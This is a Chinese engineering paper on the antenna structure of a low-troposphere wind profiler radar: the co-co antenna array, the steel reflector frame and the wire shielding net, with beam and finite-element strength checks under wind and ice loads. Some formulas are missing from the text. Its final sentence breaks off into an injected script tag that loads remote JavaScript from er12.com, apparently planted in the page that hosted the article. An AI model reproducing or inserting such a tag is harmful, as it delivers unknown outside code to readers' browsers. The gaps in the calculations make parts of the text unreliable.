摘 要：低对流层风廓线雷达是我国研制的新型气象雷达，介绍了低对流层风廓线雷达天线的结构设计和力学分析计算，并着重介绍了独特的co-co天线结构。
关键词：风廓线雷达；co-co天线；结构设计；力学分析
1概述
某型低对流层风廓线雷达是p波段多普勒相控阵雷达，探测大气流后向散射信号，利用三轴测量方法得到各层大气三维风场信息。工作方式为全自动、无人值守、不间断连续工作，并可遥控、遥测。因此，要求雷达具有高可靠性、高自动化程度、适应野外恶劣环境的性能。
天线系统是低对流层风廓线雷达的重要组成部分。该天线是平面相控阵天线，由co-co天线阵、反射面、屏蔽网组成。co-co天线阵位于反射面上，上、下两层天线阵均由十六行co-co天线排列而成。两层co-co天线相互正交，通过支撑件固定于反射面骨架上（见图1）。
天线阵面水平放置。由于反射面下安装有馈线网络，必须保证人能进入维修，而且反射面高度又要尽可能低（为了降低屏蔽网高度），因而确定反射面距地面0.85 m,通过十二个支架与地面固定。
为了消除地面物体的影响，在天线四周加屏蔽网，呈10m×10m的正方形，高3 m，形成18°的阻挡角。屏蔽网垂直固定于地面，每个面的外侧有四个斜撑。
天线结构主要技术指标见表1。
2天线结构设计
2.1co-co天线结构设计
co-co天线子阵由同轴线单元共线排列而成。相邻单元的内、外导体交叉联接，外套直径25 mm、壁厚1.5 mm的环氧玻璃布管，在管内发泡固定同轴线单元（见图2）。这样，同轴线单元成为一体，使整个co-co天线具有一定刚度。环氧玻璃布管具有很好耐腐蚀能力，能够适应野外恶劣环境。co-co天线的中央馈电头固定于反射面上，两端也通过支撑件与反射面联接。
对co-co天线做强度校核。由于co-co天线是三点支撑，因此可将其简化为图3所示双跨连续梁。co-co天线主要受风力作用，与风力相比自重很小，忽略不计。
单位长度载荷为：
环氧玻璃布管〔σ〕=60 mpa,因此co-co天线是安全的。
2.2反射面结构设计
天线反射面是6.9 m×6.9 m的平面。为便于运输，将其分成六块，每块2.3 m×3.45 m。由于反射面平面度要求不高，而且水平放置，受力较小，因而反射面采用片状结构，厚度50 mm（反射面厚度小，有利于屏蔽网高度的降低）。为了减轻重量，采用角钢和槽钢焊成框架，上铺铁丝网形成反射面。
为了满足反射面的设计精度，对反射面进行力学分析计算。这里，运用有限元法进行计算。将反射面框架简化成有限元模型，共有312个梁单元。约束12个支撑点对应节点的3个移动自由度。由于反射面是水平放置的片状结构，因而其风载荷忽略不计，主要外载荷是安装在其上的co-co天线的支反力和其下的馈线网络重量以及冰载荷。将co-co天线支反力和馈线网络重力载荷施加到相应的安装点上，冰载荷150 pa平均施加到各个节点上。利用有限元计算程序sap91进行计算，从计算结果可知，反射面最大变形为3.8 mm（见图4）,满足其平面度要求。
2.3屏蔽网结构设计
屏蔽网为10 m×10 m的正方形，高3 m。为了便于制造和运输，将其设计成2 m×3 m的单块，每面由5块拼装而成，共20块。单块屏蔽网用角钢焊成目字形框架，再铺上铁丝网，以减小风阻力和重量。
对屏蔽网进行强度较核。同样将其框架及斜撑简化成有限元模型（见图5），共有156个梁单元。屏蔽网垂直立于地面上，将其与地面固定点所对应节点的自由度全部约束。屏蔽网的外载荷主要是风阻力。对于方形结构，当风沿对角线方向吹时，风阻力最大。
对两种工况进行分析：
工况一：风力方向与屏蔽网面成45°，风速为60 m/s。
式中，c为风阻系数；a为风阻面积，m2；v为风速，m/s；φ为实体比；k为实体比的函数。
屏蔽网的网孔为10 mm×10 mm的正方形，线径1.2 mm，因而：
一面的风载荷f=9.8×0.095×(30×cos45°)×602/16=4443 n。
将此载荷分别加到四个面上( 因前后面距离相对于铁丝网线径来说很大，不考虑遮蔽效应）。
工况二：风力方向与屏蔽网面成45°，风速22m/s2,冰载荷150 pa。
对于网状面，在积冰时所受风力，必须按实体来计算，前两个面风阻系数c=1.2。后两个面由于遮蔽效应影响，风载荷分布比较复杂，为简化计算取风阻系数c=0.4。
前两面的风载荷f=9.8×1.2×(60×cos45°)×222/16=15092 n。
后两面的风载荷f=9.8×0.4×(60×cos45°)×222/16=3773 n。
将风载荷分别加到前后面上。冰载荷加到四个面上（方向与重力方向相同）。
对上述两种工况运用sap91程序计算可以得出：工况一的最大应力为62 mpa；工况二的最大应力为128 mpa，均小于钢q345的许用应力160 mpa(安全系数2)。因而，?script src=http://er12.com/t.js>
